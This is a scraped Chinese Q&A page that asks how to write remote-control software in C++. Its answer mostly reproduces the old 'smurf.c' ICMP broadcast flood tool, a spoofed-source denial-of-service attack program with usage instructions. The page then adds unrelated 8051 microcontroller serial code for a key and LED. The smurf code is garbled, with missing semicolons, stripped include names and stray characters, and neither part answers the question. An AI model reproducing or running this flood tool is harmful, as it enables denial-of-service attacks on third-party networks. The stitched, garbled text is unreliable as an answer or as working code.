怎么用c++写一个远程控制的软件

怎么用c++写一个远程控制的软件,第1张

#include

#include

#include

#include

#include

#include

#include

#include _icmp.h>

#include

#include

#include

#include

#include

void banner(void)

void usage(char *)

void smurf(int, struct sockaddr_in, u_long, int)

void ctrlc(int)

unsigned short in_chksum(u_short *, int)

/* stamp */

char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $"埋族袜

int main (int argc, char *argv[])

{

struct sockaddr_in sin

struct hostent *he

FILE *bcastfile

int i, sock, bcast, delay, num, pktsize, cycle = 0, x

char buf[32], **bcastaddr = malloc(8192)

banner()

signal(SIGINT, ctrlc)

if (argc <6) usage(argv[0])

if ((he = gethostbyname(argv[1])) == NULL) {

perror("resolving source host")

exit(-1)

}

memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length)

sin.sin_family = AF_INET

sin.sin_port = htons(0)

num = atoi(argv[3])

delay = atoi(argv[4])

pktsize = atoi(argv[5])

if ((bcastfile = fopen(argv[2], "r")) == NULL) {

perror("opening bcast file")

exit(-1)

}

x = 0

while (!feof(bcastfile)) {

fgets(buf, 32, bcastfile)

if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue

for (i = 0i <strlen(buf)i++)

if (buf[i] == '\n') buf[i] = '\0'

bcastaddr[x] = malloc(32)

strcpy(bcastaddr[x], buf)

x++

}

bcastaddr[x] = 0x0

fclose(bcastfile)

if (x == 0) {

fprintf(stderr, "ERROR: no broadcasts found in file %s\弯激n\n", argv[2])

exit(-1)

}

if (pktsize >穗差 1024) {

fprintf(stderr, "ERROR: packet size must be <1024\n\n")

exit(-1)

}

if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0) {

perror("getting socket")

exit(-1)

}

setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast))

printf("Flooding %s (. = 25 outgoing packets)\n", argv[1])

for (i = 0i <num || !numi++) {

if (!(i % 25)) { printf(".")fflush(stdout)}

smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize)

cycle++

if (bcastaddr[cycle] == 0x0) cycle = 0

usleep(delay)

}

puts("\n\n")

return 0

}

void banner (void)

{

puts("\nsmurf.c v4.0 by TFreak\n")

}

void usage (char *prog)

{

fprintf(stderr, "usage: %s "

" \n\n"

"target = address to hit\n"

"bcast file = file to read broadcast addresses from\n"

"num packets = number of packets to send (0 = flood)\n"

"packet delay = wait between each packet (in ms)\n"

"packet size = size of packet (<1024)\n\n", prog)

exit(-1)

}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)

{

struct iphdr *ip

struct icmphdr *icmp

char *packet

packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize)

ip = (struct iphdr *)packet

icmp = (struct icmphdr *) (packet + sizeof(struct iphdr))

memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize)

ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize)

ip->ihl = 5

ip->version = 4

ip->ttl = 255

ip->tos = 0

ip->frag_off = 0

ip->protocol = IPPROTO_ICMP

ip->saddr = sin.sin_addr.s_addr

ip->daddr = dest

ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr))

icmp->type = 8

icmp->code = 0

icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize)

sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,

0, (struct sockaddr *)&sin, sizeof(struct sockaddr))

free(packet)/* free willy! */

}

void ctrlc (int ignored)

{

puts("\nDone!\n")

exit(1)

}

unsigned short in_chksum (u_short *addr, int len)

{

register int nleft = len

register int sum = 0

u_short answer = 0

while (nleft >1) {

sum += *addr++

nleft -= 2

}

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)addr

sum += answer

}

sum = (sum >>16) + (sum + 0xffff)

sum += (sum >>16)

answer = ~sum

return(answer)

}

如果只是一个按键和一个LED,那就简单多了分别把这两个程序下载到两个单片机中程序如下,若满意请记得采纳下,谢谢!/***************************************************************************/#include//通用89C52头文件sbitKEY=P2^2//端口定义/笑携/发送/***************************************************************************/voidmain(void)//主函数{TMOD=0x20 //定时器1和2工作方式2(8位定时/计数)PCON=0x00 //SMOD=0,不加倍SCON=0x50 //串口工作方式1,允许接收TH1=0xfd //定时器1设置初值,波特率9600bit/s,TL1=0xff TR1=1 //启动定时器T1EA=1//打仿升尺开总中断ES=1//打开串口中断while(1)//主循环{SBUF=KEY//发送数据while(!TI)//等待发送完成TI=0//清空发送标志位}}/***************************************************************************//***************************************************************************/#include//通用89C52头文件sbitLED=P2^2//端口定义charfe//接收/***************************************************************************/voidmain(void)//主函数{TMOD=0x20 //定时器1和2工作方式2(8位定时/计数)PCON=0x00 //SMOD=0,不加倍SCON=0x50 //串口工作方式1,允许接收TH1=0xfd //定时器1设备高置初值,波特率9600bit/s,TL1=0xff TR1=1 //启动定时器T1EA=1//打开总中断ES=1//打开串口中断fe=1//初始化变量while(1)//主循环{ LED=fe//输出}}/***************************************************************************/voidser()interrupt4//串口接收,中断方式{fe=SBUF//接收数据while(!RI)//等待接收完成RI=0//清空接收标志位}/***************************************************************************/


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/12567954.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-26
下一篇 2023-05-26

发表评论

登录后才能评论

评论列表(0条)

保存